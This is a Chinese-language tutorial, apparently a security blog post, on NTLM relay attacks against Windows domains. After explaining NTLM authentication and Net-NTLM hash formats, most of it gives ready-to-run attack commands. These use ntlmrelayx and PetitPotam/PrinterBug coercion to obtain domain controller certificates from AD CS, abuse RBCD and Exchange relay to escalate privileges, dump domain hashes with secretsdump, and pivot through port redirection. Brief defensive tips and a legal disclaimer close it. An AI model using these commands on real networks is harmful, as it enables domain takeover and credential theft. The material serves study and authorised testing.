NTLM realy
字数 1484 2025-08-06 18:08:09
NTLM Relay攻击原理与实战指南
1. NTLM认证机制基础
1.1 工作组环境认证流程
-
协商阶段:
- 客户端发送Negotiate消息(包含明文用户名和协商信息)
- 服务器回复Challenge消息(包含16位随机Challenge值)
-
质询阶段:
- 客户端使用本地缓存的NTLM Hash加密Challenge生成Response
- 组合Response、用户名和Challenge形成Net-NTLM Hash
-
验证阶段:
- 服务端用本地NTLM Hash加密Challenge并与收到的Response比较
1.2 域环境认证流程
- 前两步与工作组相同
- 服务端将Net-NTLM Hash发送给域控
- 域控使用用户NTLM Hash加密Challenge并与Response比较
2. Net-NTLM Hash组成分析
2.1 Net-NTLM Hash v1格式
username:hostname:LM responce:NTLM responce:challenge
2.2 Net-NTLM Hash v2格式(当前主流)
username:domain:challenge:HMAC-MD5:blob
抓包获取各字段:
- Type2包获取Challenge
- Type3包获取:
- User name
- Domain name
- HMAC-MD5(NTProofStr)
- blob(Response减去NTProofStr)
3. NTLM Relay攻击原理
3.1 基本流程
- 通过中间人攻击或漏洞强制认证流程
- 获取Net-NTLM Hash
- 进行密码破解或重放攻击
3.2 攻击场景差异
- 工作组:难以中继,因密码存储在各机器本地SAM
- 域环境:可中继,因密码集中存储在域控NTDS.dit
4. 常用攻击手法
4.1 基础攻击方法
-
系统命令触发:
net use \\ip地址dir \\ip地址
-
Web漏洞利用:
- 文件包含漏洞触发NTLM认证
4.2 域环境实战攻击
4.2.1 基础工具使用
-
ntlmrelayx.py:
python3 ntlmrelayx.py -t 目标IP -c "命令" -smb2support -
smbrelayx.py:
python3 smbrelayx.py -h 目标IP -c "命令" -
MultiRelay.py:
python3 MultiRelay.py -t 目标IP -u ALL
4.2.2 漏洞利用
-
PrinterBug漏洞:
python3 printerbug.py 域/用户:密码@受害机器 攻击者IP -
PetitPotam漏洞:
python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP 目标IP
5. 高级攻击场景
5.1 中继至AD CS(证书服务)
利用流程:
- 强制域控发起NTLM认证
- 中继到AD CS的Web注册接口
- 为域控机器账户申请证书
- 利用证书获取域控权限
实战命令:
# 监听
python3 ntlmrelayx.py -t http://ADCS_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 强制认证
python3 PetitPotam.py 攻击者IP 域控IP
# 获取票据
python3 gettgtpkinit.py -pfx-base64 "证书" -dc-ip 域控IP 域名/机器账户$ 票据文件
5.2 中继至LDAP
5.2.1 RBCD+PetitPotam
环境要求:
- 普通域用户权限
- 可添加机器账户
攻击步骤:
-
添加机器账户:
python3 addcomputer.py 域名/用户:密码 -computer-name 机器名$ -computer-pass 密码 -dc-ip 域控IP -
启动监听:
python3 ntlmrelayx.py -t ldap://域控IP -debug --delegate-access --escalate-user 机器名$ -smb2support --remove-mic -
强制认证:
python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP 目标IP -
获取票据:
python3 getST.py 域名/机器名$:密码 -spn 服务/目标机器 -impersonate Administrator -dc-ip 域控IP
5.2.2 Exchange+PetitPotam
利用条件:
- Exchange服务器(任何版本)
- 域内任意账户
- 可利用CVE-2019-1040绕过NTLM MIC
攻击流程:
-
启动监听:
python3 ntlmrelayx.py -t ldap://域控IP --remove-mic --escalate-user 用户名 -smb2support -
强制Exchange认证:
python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP Exchange_IP -
获取DCSync权限后导出哈希:
python3 secretsdump.py 域名/用户:密码@域控IP -just-dc-ntlm
6. 实战中的NTLM中继
6.1 外网渗透场景
拓扑需求:
- 已控外网服务器
- 需要端口复用技术
操作步骤:
- 上传PortBender.dll和WinDivert64.sys
- 复用445端口:
PortBender redirect 445 7445 - 端口转发:
rportfwd 7445 攻击者IP 445 - 通过代理中继:
proxychains python3 MultiRelay.py -t 内网目标IP -u ALL
7. 防御建议
- 启用SMB签名(域控默认开启)
- 启用LDAP签名和通道绑定
- 限制NTLM使用,优先使用Kerberos
- 监控异常认证请求
- 及时修补PrinterBug、PetitPotam等漏洞
8. 检测工具
-
RunFinger.py(检测SMB签名):
python3 RunFinger.py -i 网段 -
Wireshark抓包分析NTLM流量
-
日志分析异常认证事件
注:本文仅供学习研究使用,请勿用于非法用途。实施安全测试前请确保获得合法授权。